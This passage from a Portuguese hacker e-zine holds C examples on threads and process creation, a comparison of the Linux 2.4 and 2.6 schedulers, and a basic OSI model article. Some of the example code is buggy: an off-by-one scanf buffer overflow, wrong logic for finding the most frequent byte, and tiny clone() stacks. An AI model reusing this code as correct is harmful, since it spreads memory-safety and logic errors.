nidade de execução. Atualmente é mais comum considerar threads como unidades de execução. Um processo pode ter um ou mais threads. Um thread existe no interi- or de um processo e compartilha algumas estruturas com outros eventuais threads do mesmo processo, como o espaço virtual, a área de dados e código, manipulado- res de arquivos abertos, etc. Por outro lado existem dados e estruturas que são únicas para cada thread, como a stack e informações sobre registradores. A vantagem da utilização de threads em relação aos processos são várias: os threads utilizam um mesmo espaço virtual, o que facilita a comunicação e di- minui a utilização de espaço na memória; os threads geralmente são criados mais rápidos do que processos; os threads permitem que parte do processo continue executando mesmo quando um dos threads esteja bloqueado. Geralmente utiliza-se threads em processos interativos (shell? janela?), onde um thread gerencia a interface (uma janela, por exemplo) enquanto outro faz operações "pesadas" (como ler um arquivo de 500 MB, por exemplo), que normal- mente "travariam" a interface se fossem realizados no mesmo thread que a geren- cia. Existem duas maneiras de se implementar threads, conhecidas como User Th- reads e Kernel Threads. Os User Threads são threads implementados pelo próprio programa, que faz a troca da execução e a manutenção dos dados de cada thread, enquanto os Kernel Threads são criados e gerenciados pelo próprio kernel. As vantagens dos Kernel Threads sobre os User Threads são muitas: nos User Threads, geralmente os pró- prios threads têm de ceder o espaço de execução para outros threads, o que pode trazer atraso na execução, caso um thread "trave" ou realize operações demora- das; além disso, um thread que bloqueie o processo à espera de alguma operação de I/O, por exemplo, bloqueia todos os outros threads; User Threads geralmente não podem utilizar os benefícios de tecnologias de múltiplos processadores (SMP). No Linux, geralmente utiliza-se a syscall clone() para criar threads, ou seja, utiliza-se Kernel Threads, porém isso não impede qualquer programa de u- tilizar User Threads. Existem diversas bibliotecas que implementam threads no Linux, sendo mais popular a LinuxThreads, criada por Xavier Leroy (http://pauillac.inria.fr/ ~xleroy/linuxthreads/), e a Native Posix Thread Library (NPTL, http://people.re dhat.com/drepper/nptl-design.pdf). A LinuxThreads é uma biblioteca relativamen- te simples. As funções mais utilizadas são: pthread_mutex_init, será abordada no próximo artigo, pthread_create, para criar novos threads, pthread_join, espera o fim da execução de um determinado thread Vamos a um exemplo: <++> lap1/pthread.c /* pthread read byte */ #include #include #include #include #include void *ReadFileThread(void *); int print_status, arquivo; unsigned int tamanho; int main(int argc, char *argv[]) { if( argc < 2 ) { printf("Uso:\n\t%s arquivo [tamanho]\n", argv[0]); return 0; } arquivo = open(argv[1], O_RDONLY); if( arquivo == -1 ) { perror("Erro em open()"); return -1; } if( argc >= 3 ) { tamanho = atoi(argv[2]); } else { tamanho = lseek(arquivo, 0, SEEK_END); if( tamanho == -1 ) { perror("Erro em lseek()"); close(arquivo); return -2; } lseek(arquivo, 0, SEEK_SET); } pthread_t tid; if( pthread_create( & tid, NULL, ReadFileThread, NULL) ) { perror("pthread()"); close(arquivo); return -3; } char buf[256]; while(1) { scanf("%256s", buf); if( ! strcmp(buf, "exit") || ! strcmp(buf, "sair") ) { break; } else if( ! strcmp(buf, "status") ) { print_status = 1; } } pthread_join( tid, NULL ); close(arquivo); return 0; } void *ReadFileThread(void *arghh) { char buf[512]; unsigned int bytes[256] = {0}; unsigned int reads; reads = tamanho / 512; if( tamanho % 512 ) reads ++; unsigned int ins_loop, loop; float pct; for(loop = 0;loop < reads;loop ++) { memset(buf, 0, 512); if( (loop == reads - 1) && tamanho % 512 ) { read(arquivo, buf, tamanho % 512); } else { read(arquivo, buf, 512); } for(ins_loop = 0;ins_loop < 512;ins_loop ++) { bytes[ (unsigned int)(unsigned char) buf[ins_loop] ] ++; } if( print_status ) { print_status = 0; pct = (float) ((float) loop * 512.0f * 100.0f) / tamanho; printf("Foram lidos %u bytes (%.2f%%)\n", (loop * 512), pct); } } unsigned int pos = 0; for(loop = 0;loop < 256;loop ++) { if( bytes[loop] > pos ) { pos = loop; } } printf("O byte que mais apareceu foi 0x%X, apareceu %u vezes\n", pos, bytes[pos]); return NULL; } <--> lap1/pthread.c O exemplo acima utiliza dois threads: o inicial, que cria um manipulador de arquivo e aguarda comandos e um segundo, que lê o arquivo em blocos de 512 bytes. Esse programa mostra o último byte que aparece mais vezes em um arquivo. Para testá-lo, você pode utilizar o seguinte comando: $ ./programa /dev/zero $[1024 * 1024 * 1024] Assim o programa lerá 1GB de dados do arquivo /dev/zero (essa leitura é até bem rápida, já que o buffer é de 512 bytes). Enquanto o thread de leitura está rodando, o thread principal aguarda instruções ("exit" ou "sair" para sair ou "status", para mostrar a posição atual da leitura). Novamente, esse código é apenas para exemplo e apresenta falhas (acho que se você usar um arquivo de ta- manho >= 4GB, ele dá algum erro). Esse tipo de uso de threads é comum em programas que utilizam janelas que recebem eventos e não podem esperar pela leitura de um arquivo de 1GB, por exemplo, para continuar a execução. Em muitos casos, são as operações que o programador julgou não levarem muito tempo que acabam "travando" a janela quan- do o usuário as utiliza de maneira inesperada ao programador (abrir um arquivo de 1GB num editor de texto, por exemplo ;]). --=[ 5.0 Performance Por último, veremos um teste de performance entre fork(), pthread_crea- te() e clone(). Utilizaremos um código que não faz nada senão retornar dos pro- cessos/threads criados. Nestes exemplos serão criados 1000 processos/threads que apenas retornam 0. /***************************************************************************/ <++> lap1/forktest.c /* fork() test */ #include #include int main(void) { int loop; for(loop = 0;loop < 1000;loop ++) { switch( fork() ) { case 0: pause(15); return 0; break; case -1: printf("Fork %u falhou\n", loop); break; } } return 0; } <--> lap1/forktest.c /***************************************************************************/ <++> lap1/pthreadtest.c /* pthread_create() test */ #include #include #include pthread_t tid; void *thread_start(void *); int main(void) { int loop; for(loop = 0;loop < 1000;loop++) { if( pthread_create(& tid, NULL, thread_start, NULL) == -1 ) { printf("pthread_create() %u falhou\n", loop); } } return 0; } void *thread_start(void *arg) { return NULL; } <--> lap1/pthreadtest.c /***************************************************************************/ <++> lap1/clonetest.c /* clone() test */ #include #include #include int clone_start(void *); char buf[40000]; int main(void) { int loop; for(loop = 0;loop < 1000;loop ++) { if( clone(clone_start, buf + (loop * 40), CLONE_VM, NULL) == -1 ) { printf("clone() %u falhou\n", loop); } } return 0; } int clone_start(void *arg) { return 0; } <--> lap1/clonetest.c /***************************************************************************/ Compilando e executando os 3 códigos, e utilizando o comando time, obtive: $ time ./fork_test real 0m0.126s user 0m0.002s sys 0m0.044s $ time ./pthread_creat_test real 0m0.045s user 0m0.005s sys 0m0.040s $ time ./clone_test real 0m0.026s user 0m0.001s sys 0m0.021s Note que o tempo do kernel para a criação de um processo/thread utili- zando clone é menor do que o tempo para a criação de um processo utilizando fork() ou pthread_create(), isso quando o processo possui a flag CLONE_VM. Em ambientes de execução hostis, esse tempo pode fazer bastante diferença. Além disso, provavelmente o processo/thread criado com clone() entrará em execução mais rápido do que o criado por fork(). E é só isso =] Espero que tenha gostado do artigo. No próximo veremos IPC e mecanismos de sincronização entre processos e threads. Agradecimentos a todo mundo (assim não me esqueço de ninguém), em destaque todo o pessoal do motd e a juh (aka sync) =] Até a próxima. _EOF_ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-[07]-=[Algoritmo de escalonamento: Kernel 2.4 Versus 2.6]=-|Felipe Goldstein|- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= --=[ Introdução O Algoritmo de escalonamento é o coração de um Kernel. Existem muitos algoritmos e a eficiência de cada um deles depende do tipo de aplicação que será executada. O Linux, por ser voltado para o computador pessoal, executa em sua maioria, tarefas que interagem com o usuário. Portanto o algoritmo volta-se principalmente para sistemas interativos. Aqui, discutirei em linhas gerais, o funcionamento do algoritmo de escalonamento do kernel 2.4 e suas desvantagens em relação ao do kernel 2.6. --=[ Kernel 2.4 --=--=[ Breve descrição do funcionamento do algoritmo de escalonamento O escalonador do Linux divide o tempo de CPU em Eras (epochs). Em cada Era, cada processo tem um time-quantum que especifica o tempo que o processo vai adquirir de CPU durante a Era atual. Quando o time-quantum de um processo acaba, o escalonador é chamado e outro processo começa a rodar. Uma Era termina quando todos os time-quantum dos processos ativos acabam. Então a lista ligada dos processos é completamente varrida, e para cada processo, é calculado uma nova prioridade e um novo time-quantum. Por este motivo, o algoritmo de escalonamento do kernel 2.4 tem a ordem de O(n) no número de processos ativos. O fator linear do algoritmo vem diretamente do fato de que o acesso à lista ligada é linear, e também da necessidade de se recalcular a prioridade de cada processo entre cada mudança de Era, porém como veremos no kernel 2.6 isto pode ser feito no momento em que se insere o processo na lista. Os processos ativos dividem-se em duas listas ligadas usadas pelo escalonador. Uma guarda os processos que ainda não extinguiram todo o seu time -quantum designado para a Era atual e estão esperando para serem escalonados, chamada run-queue enquanto a outra guarda os processos que já extinguiram o seu time-quantum e estão esperando para serem escalonados na próxima era, chamada expired-queue. --=--=[ Tipos de Processos Existem 2 tipos básicos de processos: Processos de Tempo Real e os processos convencionais. Os processos de Tempo Real são processos que requerem respostas em tempos determinados. Para isso eles precisam de um maior determinismo do sistema e portanto recebem maior prioridade. Estes tipos de processos recebem uma prioridade que é sempre maior que a dos outros processos convencionais e esta prioridade não muda depois que o processo começa a rodar. Os processos convencionais recebem uma prioridade que muda conforme a necessidade e no caso do kernel 2.4 , basicamente a prioridade muda conforme a quantidade de time-quantum não usada pelo processo em seu último escalonamento, o que faz com que processos IO-Boud recebam maior prioridade (pois este tipo de processo deixa sempre sobrando algum time-quantum quando vai dormir esperando um evento de IO). --=--=[ Quem deve executar primeiro ? Uma das principais tarefas do escalonador é fazer a escolha dentre os processos na lista run-queue de qual processo executar primeiro. A escolha é feita pegando da lista run-queue o processo com o maior fator Goodness que é calculado da seguinte maneira: * Goodness = 0 Se o processo acabou o seu time-quantum. A menos que este processo seja o primeiro processo na lista run-queue e todos os outros processos tenham também acabado seu time-quantum , este processo não será selecionado agora. * 0 < Goodness < 1000 Se o processo eh convencional e ainda não acabou com seu time-quantum, Goodness é a soma da prioridade do processo com o que resta do seu time-quantum somado com 1. * Goodness >= 1000 Se o processo é de Tempo Real, seu Goodness é a soma de 1000 com sua prioridade. Perceba que para fazer esta escolha, todos os processos são percorridos e é calculado o fator Goodness de cada um, o que também implica uma ordem de O(n) ao algoritmo de escalonamento. --=--=[ Sistemas Multiprocessados Além da escolha de qual processo rodar primeiro, o escalonador deve escolher também (num sistema multiprocessado) em qual CPU o processo vai rodar. Para melhor utilizar a memória Cache, o kernel 2.4 tenta escolher a CPU no qual o processo já estava rodando. Mas isso pode causar um overload de uma CPU enquanto outras estão ociosas. Então essa escolha é feita usando um fator que leva em conta o tamanho da memória cache do processador e sua freqüência. Baseado nesse fator o escalonador decide se vale ou não a pena colocar o processo no mesmo processador. Porém ainda assim, no Kernel 2.4, existe uma situação em que um processo pode ficar 'pulando' de uma CPU para outra constantemente, desperdiçando a memória cache. Este já era um bug conhecido a tempos. --=--=[ Performance do Kernel 2.4: Desvantagens * O Algoritmo não é escalável : Conforme aumenta o número de processos ativos, aumenta o overhead no escalonamento. O kernel leva mais tempo pra decidir qual processo rodar, diminuindo o desempenho do sistema. * Estratégia adotada para processos do tipo IO-Bound não é ótima: Dar preferência aos processos do tipo IO-Bound é uma boa estratégia, mas ela não é perfeita. Imagine que você tenha um processo rodando em background como um banco de dados que a todo momento precisa ler dados do HD, porém ele não precisa ter um tempo de resposta rápido. Com este algoritmo, este tipo de processo vai levar vantagem sobre os outros que não são IO-Bound. Outro problema acontece quando um processo que é CPU-Bound precisa também interagir rapidamente com o usuário, este tipo de processo vai ter menos prioridade por ser CPU-Bound. * Kernel não é preemptivo: No kernel 2.4 e anteriores, para cada operação de escalonamento e context-switch um mutex-lock global precisa ser adquirido antes de entrar na seção crítica do código. Esta seção crítica é na verdade o código completo do escalonador. Assim, num sistema multiprocessado, apenas um processador podia executar o escalonador por vez. O mutex-lock global impede que dois ou mais processadores executem o escalonador ao mesmo tempo e isso pode representar perda de tempo de processamento, pois os processadores que estão tentando adquirir o mutex vão ter que esperar até o mutex ser liberado. Além disso, durante a execução do escalonador as interrupções são desligadas, e portanto o kernel não é preemptivo. Durante uma chamada de sistema, o código executado no espaço de kernel não pode ser interrompido. Por exemplo, por um processo de alta prioridade (pode ser de Tempo Real) que acabou de acordar e precisa executar na frente de qualquer outro tipo de processamento. Tudo isso traz péssimas implicações para processos de Tempo Real, pois diminui o determinismo da prioridade de execução de um processo de Tempo Real. --=[ Kernel 2.6 - Mudanças --=--=[ Objetivos Ao se projetar um novo escalonador para o kernel do linux, mantendo as boas características que o kernel 2.4 trazia e adicionando novas e interessantes, os objetivos principais foram os seguintes: * Boa performance de interatividade , mesmo durante uma sobrecarga de uso de CPU: Se o usuário clica então o sistema deve reagir instantaneamente e executar a tarefa do usuário de forma suave. * Justiça: Nenhum processo deixa de receber ao menos um pequeno pedaço de tempo da CPU e nenhum processo recebe injustamente um grande pedaço de tempo da CPU. Respeitando as prioridades de cada processo. * Prioridades: Tarefas menos importantes recebem prioridades menores, tarefas mais importantes recebem prioridades altas. * Eficiência em ambiente multiprocessado: Nenhuma CPU deve ficar ociosa se existe trabalho a fazer. * Afinidade de CPU em ambiente multiprocessado: Processos que rodaram numa CPU têm afinidade a ela, e assim que possível, permanecer executando na CPU em que já foi executada. Nenhum processo deve ficar trocando de CPU muito freqüentemente. As novas características que chamam mais atenção são as seguintes: * Escalonamento completo usando um algoritmo O(1): Sistema muito mais escalável. O número de processos executando não afeta o desempenho do kernel. * Kernel Preemptivo: Escalabilidade perfeita num ambiente multiprocessado. Não existe mais nenhum mutex-lock global para proteger a área de código do escalonador. Existe agora 1 lista de processos ativos (run-queue) por CPU, permitindo o acesso em paralelo às run-queues sem a necessidade de mutex. * Escalonamento tipo Batch: Uma grande porção dos processos CPU-Bound se beneficiam da maneira Batch de escalonamento, onde os time-quantum são grandes e os processos são escalonados por round-robin. O novo esca- lonador designa este tipo de escalonamento (Batch) para os processos com baixa prioridade, e a nova política de prioridade dinâmica designa menores prioridades quanto mais CPU-Bound for o processo. * Sistema mais confiável para processos Real Time: O fato do kernel ser Preemptivo e o algoritmo de escalonamento ser O(1) melhora o comporta- mento do sistema em relação à dar prioridade às tarefas Real Time, pois agora uma chamada de sistema feita por uma tarefa de prioridade menor pode ser interrompida por uma tarefa de maior prioridade para que ela entre em execução imediatamente. --=--=[ Vetor de Prioridades Ao invés de usar só uma lista ligada gigante com todos os processos ativos, foi usado uma outra abordagem na qual temos um vetor de tamanho fixo cujo tamanho é o número de níveis de prioridades. Cada elemento do vetor aponta para uma lista ligada de processos que tem a mesma prioridade. Essa é a estrutura básica do novo escalonador: A lista run-queue, agora é um vetor de prioridades ordenado e cada CPU têm sua própria run-queue. O vetor de run-queue contém todas as tarefas que têm afinidade com a CPU e ainda têm time-quantum para executar, enquanto o vetor de expired-queue contêm as tarefas que tem afinidade com a CPU e que expiraram seu time-quantum, de maneira que este vetor expired-queue (assim como o run-queue) também é mantido ordenado. A estrutura do array de prioridades é descrita como: struct prio_array { int nr_active; /* number of tasks */ unsigned long bitmap[BITMAP_SIZE]; /* priority bitmap */ struct list_head queue[MAX_PRIO]; /* priority queues */ }; MAX_PRIO é número de níveis de prioridades do sistema. Para cada prioridade é mantida uma lista ligada dos processos que estão naquela prioridade. O escalonador escolhe para executar primeiro a lista dos processos no maior nível de prioridade e executa-os em Round-Robin. Existe um número fixo de níveis de prioridades, e para escolher um novo processo basta pegar o próximo elemento do vetor de prioridades, portanto, o algoritmo neste caso é O(1), pois temos um tempo constante executado em cada escolha de qual processo executar. --=--=[ Recalculando os time-quantum No 2.4 , cada vez que terminava uma Era, percorria-se todos os processos recalculando os time-quantum de cada um. No kernel 2.6, o calculo do time -quantum ocorre quando o processo termina todo seu time-quantum da Era atual. Assim, antes de ser passado para o vetor de expired-queue, seu time-quantum e também sua prioridade são recalculados. O vetor de expired-queue é mantido ordenado e contém os processo com os time-quantum já calculados da próxima Era. Quando a Era atual termina, basta trocar os ponteiros do vetor de run-queue por expired-queue e o novo vetor de processos ativos está pronto para ser executado. A abordagem do kernel 2.6 é uma mistura de lista de prioridades com escalonamento por Round Robin. Os processos de uma mesma prioridade são escalonados por Round-Robin, mas as prioridades maiores são escalonadas primeiro. --=--=[ Resposta Rápida Uma das coisas que mais deixam os usuários do sistema irritados, é a demora no tempo de resposta de um comando. No kernel 2.6 este problema é evitado da seguinte maneira: ao invés de aumentar a prioridade de processos IO-Bound, diminui-se a prioridade dos processos que querem consumir muito tempo de CPU quando tempo de CPU está escasso. --=[ Conclusão Essas foram as principais mudanças do kernel 2.4 para o 2.6. O Linux sempre foi um sistema operacional voltado para o usuário de Computador Pessoal e por isso conceitos como processamento de tarefas de Tempo Real, escalabilidade no número de CPUs e no número de processos ativos não foram prioridades no desenvolvimento do seu Kernel. Um usuário de PC rodando o kernel 2.4 não vai notar a menor diferença quando fizer o upgrade para o 2.6, visto que seu PC só tem 1 processador e ele só roda no máximo, digamos, 100 processos em paralelo. Além disso não se usa o linux como um Sistema Operacional para controlar um sistema de Tempo Real, como um piloto automático de um avião ou um sistema de controle de temperatura de uma usina nuclear. O Linux não foi projetado para esse tipo de coisa, mas com essas mudanças se consegue chegar mais perto do que seria um sistema mais escalável e confiável. Segundo Theodore Tso (um dos desenvolvedores do kernel), na conversa que teve hoje com os alunos da computação no IC (Instituto de Computação - Unicamp), as futuras versões do kernel caminham em direção a se ter mais robustez para aplicações de Tempo Real, adicionando mais predictabilidade e determinismo à execução de tarefas que exigem alta prioridade. --=[ Fontes 1) Livro: Understanding the Linux Kernel , By Daniel P. Bovet & Marco Cesati , Editora O'Reilly 2) Livro: Linux Kernel Development , By Robert Love , Editora Sams 3) Email: From: Ingo Molnar To: linux-kernel-mailing-list Subject: [announce] [patch] ultra-scalable O(1) SMP and UP scheduler Date: Fri, 4 Jan 2002 03:19:10 +0100 (CET) Este email pode ser encontrado em: http://kerneltrap.org/node/341 4) web: http://www.hpl.hp.com/research/linux/kernel/o1.php 5) web: http://www.linuxgazette.com/node/9746 6) web: http://www.faqs.org/docs/kernel_2_4/lki-2.html _EOF_ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-[08]-=[Básico sobre o Modelo OSI]=-|d4rwin|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= !AVISO!: O objetivo deste texto não é nem de longe dar todos os detalhes sobre este modelo de referência, porém fornecer uma visão básica sobre ele, permitindo a compreensão de onde entram protocolos como o TCP e o IP por exemplo, ou então sobre como os dados trafegam na rede. ======================================= = .,ÍNDICE., = ======================================= = = = 1.0...Introdução = = | = = 2.0...Camadas = = |-> 2.1...Aplicação = = |-> 2.2...Apresentação = = |-> 2.3...Sessão = = |-> 2.4...Transporte = = |-> 2.5...Rede = = |-> 2.6...Enlace de dados = = |-> 2.7...Física = = | = = 3.0...Exemplo prático = = | = = 4.0...Alegoria = = | = = 5.0...Os protocolos e o Modelo OSI = = | = = 6.0...Conclusão = = | = = 7.0...Referências bibliográficas = = = ======================================= --=[ 1.0 - Introdução O modelo de referência OSI(Open Systems Interconnection) foi criado pela ISO (International Standards Organization) para interconexão de redes heterogê- neas/sistemas abertos, visando por um fim à incompatibilidade até então enfren- tada pelas redes de computadores da época. --=[ 2.0 - Camadas Basicamente, pode-se dividi-lo em sete camadas, classificadas de acor- do com suas funções. Todo o processo de comunicação entre computadores, segue o padrão de encapsulamento, isto é, a camada de nível mais alto é encapsulada na de nível inferior. Cada camada não possui um protocolo específico, mas uma fun- ção determinada, que é preenchida por algum protocolo desenvolvido para tal. --=--=[ 2.1 - Aplicação Está é a camada mais superior do modelo OSI. É nela que as requisições a serviços são realizadas, como visualizar uma página web (HTTP), transferir ar- quivos(FTP), ou então receber e enviar emails(POP3 e SMTP). Também gerencia e administra os processos de aplicação, faz o controle de acesso, realiza o moni- toramento e recuperação dos dados, etc. --=--=[ 2.2 - Apresentação É responsável pela interpretação e tradução dos dados vindos da camada precedente, cuidando da sintaxe das informações transmitidas. Quando se trata do receptor, as informações que vêm da camada 5 (Sessão) são preparadas na camada 6 (Apresentação) para a sua utilização por aplicativos presentes na camada 7 (Aplicação). Pode ter outras utilidades, como compressão de dados e criptogra- fia. No caso da compressão, os dados serão descomprimidos na camada correspoden- te pelo receptor. --=--=[ 2.3 - Sessão Aqui é onde se inicia o verdadeiro processo de comunicação. A camada de sessão permite estabelecer a conexão entre computadores distintos. Ela inicia e termina a sessão de diálogo entre duas máquinas, assim como gerencia e sincroni- za as informações trafegadas, também realizando a marcação dos dados para o caso de interrupção na comunicação, quando a conexão é reestabelecida, sabe-se onde parou. Em outras palavras, permite que as máquinas se entendam. Fazendo uma ana- logia com a vida real, seria como um homem em meio a duas mulheres, administran- trando o momento certo de cada uma falar. --=--=[ 2.4 - Transporte Dentre as 7 camadas sintetizadoras do Modelo OSI, dois grupos podem ser formados. O primeiro composto pelas camadas 7, 6, 5 (Aplicação, Apresentação e Sessão respectivamente). Este primeiro grupo se preocupa apenas com os dados, não importando a maneira como estão sendo transportados. O segundo grupo, conta com as camadas 3, 2, 1 (Rede, Enlace de dados e Física respectivamente). Este grupo por sua vez, preocupa-se com a transmissão dos dados em si. Você deve ter notado a falta da camada 4 (Transporte). É ela quem interliga estes dois grupos. A camada de transporte realiza a segmentação dos dados provenientes da camada de sessão. Após dividi-los em pacotes repassa à camada de rede. A camada de sessão estabelece a conexão, e a de transporte fornece e gerencia o canal para troca de dados. Exerce também o controle de fluxo (ordenação dos dados caso não estejam na ordem correta) e executa correção de erros, através de mensagens de recebimento do pacote. No receptor, realiza a junção dos pacotes (multiplexa- ção) vindos da camada 3 para enviar a camada 5. --=--=[ 2.5 - Rede Realiza o encaminhamento dos pacotes entre redes distintas, roteando os pacotes e lidando com as adversidades que venham a surgir durante a transmissão, como congestionamentos. Portanto, faz a conversão dos endereços lógico em ende- reços físicos. Cabe a ela encontrar o computador destino no meio de tantos ou- tros e controlar condições de tráfego e prioridade para o roteamento. --=--=[ 2.6 - Enlace de dados Também conhecida como camada de Link de Dados, tem por função pegar os pacotes fornecidos pela camada de rede e transformá-los em quadros, garantindo uma transmissão confiável através da rede. Esses quadros possuem informações pertinentes, como endereços da placa de rede do transmissor e receptor, payload (os dados em questão) e o CRC, para checar a integridade dos dados (caso não seja enviada nenhuma mensagem de sucesso no transporte, os quadros são reenviados pela camada 2). Um exemplo de protocolo que trabalha nesta camada é o Ethernet, largamente utilizado nas redes de computadores atuais. --=--=[ 2.7 - Física É a camada de mais baixo nível no modelo OSI, sendo o último elo de co- nexão entre duas máquinas. Sua função principal é fazer a conversão dos quadros que vêm da camada inferior em sinais elétricos ou luminosos (no caso das fibras ópticas), mantendo a compatibilidade com o meio de transmissão. Ou seja, a cama- da física faz a tradução dos quadros vindos da camada 2 em 0s e 1s e em seguida encaminha os bits através das interfaces de rede. OBS.: A camada física não inclui o meio em que os dados trafegam, como cabos por exemplo. --=[ 3.0 - Exemplo prático Para facilitar o entendimento de como funciona o modelo de referência, irei propor uma situação hipotética, porém prática da utilização do mesmo para a construção de um arquitetura de rede. Lembrando que as camadas superiores são encapsuladas nas inferiores. Supomos que um usuário gostaria de visualizar seus e-mails presentes em um servidor. * Camada 7 O primeiro passo é abrir o cliente de e-mails, que entrará em contato com o servidor, utilizando o protocolo POP3. O ato de requisitar o servidor usando este protocolo, encaixa o mesmo na camada de aplicação do modelo OSI. * Camada 6 A requisição feita pelo usuário usando a camada de aplicação é traduzida para uma linguagem padrão para que os dados sejam transportados. * Camada 5 Na camada de Sessão a conexão é estabelecida com o host destino (200.124.1.66, *número fictício). Esta camada irá cuidar do diálogo entre as máquinas, interrupções na conexão, avisando o emissor caso alguma coisa aconteça. * Camada 4 Aqui é criado o "túnel" fim-a-fim para o transporte dos dados, que serão segmentados em pacotes, e repassados para a camada 3. Protocolos que trabalham nesta camada são o TCP (Transmission Control Protocol) e UDP(User Datagram Protocol). * Camada 3 Como sabido, esta camada é responsável pelo encaminhamento e roteamento dos pacotes, função essa exercida pelo IP (Internet Protocol) e roteadores. O ICMP (Internet Control Message Protocol) também age nesta camada, geralmente casado com o IP. * Camadas 2 e 1 A camada 2, onde os pacotes são transformados em quadros para serem repassados a camada física, possui o Ethernet. Ele procura pelo endereço físico da interface de rede destino (MAC Adress) para então enviar os quadros, de acordo com as especificações de cabeamento e sinais elétricos. Quando os bits chegam na interface de rede destino (placa de rede), estes percorrem o caminho inverso ao exercido na máquina emissora. --=[ 4.0 - Alegoria No tópico acima foi visto um exemplo prático da aplicação do modelo OSI para a construção de uma arquitetura, onde um usuário requisitou a um servidor ver os e-mails presentes no mesmo. Agora vou propor uma situação fora do mundo da informática, para quem sabe esclarecer ainda mais o funcionamento do OSI. A Silvia Saint vai estrelar um novo filme, e precisa ir de uma cidade à outra para filmar. Por isso ela vai até a rodoviária e compra uma passagem de ônibus convencional, porque leito é mais caro. O ato de comprar a passagem, re- presenta a camada de aplicação no modelo OSI. Ao chegar até a porta do ônibus, Silvia dá uma boa olhada no motorista, motorista dá uma boa olhada em Silvia, e então...pede a passagem dela para autenticar e suas malas para marcar. Esta é a camada de apresentação. Muito bem, começa a viagem e o ônibus se dirige até seu destino, estabelecendo a "conexão". Aí temos a camada 5, Sessão. O ônibus não pode andar em cima do nada, para isso é preciso uma estrada, que representa o protocolo TCP ou UDP, presentes na camada 4 (Transporte). Todavia surge um pro- blema, Silvia é a única passageira do ônibus (huhun) e está atrasadíssima para as filmagens. O motorista então tem de optar pela melhor rota para chegar até o destino. Encaixamos o IP. Caso algum imprevisto ocorra, como um pneu furado, o ICMP entra em ação, e avisa a Central Rodoviária que o ônibus quebrou. Agora, para representar as camadas remanescentes, como não encontrei nada melhor, vou utilizar o combustível do ônibus. O Ethernet cuidará para que o motorista não abasteça o veículo com Diesel ao invés de Gasolina. Fim. --=[ 5.0 - Os protocolos e o Modelo OSI A figura 1.0 mostra a estrutura do modelo de referência OSI. *Ilustração retirada do livro Redes de Computadores, 4ª Edição. A figura 1.1 mostra os protocolos utilizados tanto na internet como em redes de computadores em geral. *Ilustração retirada do Wikipedia, vide referências bibliográficas. ########################################################################################### # # # Camada Nome da unidade # # intercambiada # # ____________ ____________ # #| | Protocolo de aplicação | | # #| Aplicação |------------------------------------------------------| Aplicação | APDU # #|____________| |____________| # # ______|_____ ____________ # #| | Protocolo de apresentação | | # #|Apresentação|------------------------------------------------------|Apresentação| PPDU # #|____________| |____________| # # ______|_____ ____________ # #| | Protocolo de sessão | | # #| Sessão |------------------------------------------------------| Sessão | SPDU # #|____________| |____________| # # ______|_____ ____________ # #| | Protocolo de transporte | | # #| Transporte |------------------------------------------------------| Transporte | TPDU # #|____________| Limite da Sub-Rede de Comunicação |____________| # # ______|_____ ___________________||_____________________ ____________ # #| | | PDRI = Protocolo da Sub-Rede Interna | | | # #| Rede |--1-| ****** ****** |------| Rede | Pacote# #|____________| | | *Rede* ========= *Rede* | |____________| # # ______|_____ | | ****** ****** | ____________ # #| | | | PDRI | | | # #| Enlace |- 2-| ******** ******** |------| Enlace | Quadro# #|____________| | | *Enlace* ======= *Enlace* | |____________| # # ______|_____ | | ******** ******** | ____________ # #| | | | PDRI | | | # #| Física |--3-| ******** ******** |------| Física | Bit # #|____________| | | *Física* ======= *Física* | |____________| # # | | ******** ******** | # # Host A | | Roteador Roteador | Host B # # ^^^^ ^ | |__________________________________________| ^^^^ ^ # # |_________;1 Protocolo de roteador/host da camada de rede # # |_________;2 Protocolo de roteador/host da camada de enlace de dados # # |_________;3 Protocolo de roteador/host da camada física # ########################################################################################### Figura 1.0 ################################################# # Protocolos de Internet # ################################################# # Aplicação # HTTP, SMTP, FTP, SSH, IRC, # # # SMTP, NNTP, POP3, IMAP, etc. # # ----------- # ------------------------------- # # Transporte # TCP, UDP, SCTP, RTP, DCCP # # ----------- # ------------------------------- # # Rede # IPv4, IPv6, ARP, ICMP # # ----------- # ------------------------------- # # Ligação # Ethernet, 802.11 WiFi, Token # # # Ring, FDDI, PPP, etc. # # ----------- # ------------------------------- # # Física # RS-232, EIA-422, RS-449, etc. # ################################################# Figura 1.1 --=[ 6.0 - Conclusão Termino por aqui este pequeno artigo sobre o Modelo OSI. Como o próprio título do artigo propõe, foi exposto aqui apenas o básico, mas isso não signi- fica que seja o necessário. Não se prenda e vá atrás de mais informações a res- peito, dê uma olhada nos links do Referências Bibliográficas. É isso ae, qual- quer coisa mail-me. --=[ 7.0 - Referências Bibliográficas Arquitetura OSI http://penta.ufrgs.br/Marco/arqosi.html Modelo de Referência OSI http://www.forumweb.com.br/artigos/artigos.php?action=file&id=268 Entendendo os protocolos http://www.clubedasredes.eti.br/rede0013.htm Ethernet http://pt.wikipedia.org/wiki/Ethernet O Modelo OSI de Interconexão de Sistemas Abertos http://www.teleco.com.br/tutoriais/tutorialosi/default.asp Comunicação de dados (Normas) http://www2.ufp.pt/~lmbg/textos/norma_osi.html#camadasois Livro "Redes de Computadores", 4ª Edição Livro "Universidade H4CK3R", 1ª Edição |>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> || || || d4rwin at motdlabs.org || || http://www.d4rwin.cjb.net || || || || MSN/GoogleTalk > d4rwin@gmail.com || || YahooMessenger > d4rwinetico@yahoo.com.br || || IRC > irc.freenode.net -j #motd || || || |>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> "Quem tem boca vai a Roma. Meu fogão tem 4 e não saiu da cozinha." (Desconhecido) "Bill Gates não é Adão, mais comeu a Apple. E quem paga os pecados é o usuário do Windows." (Desconhecido) _EOF_ 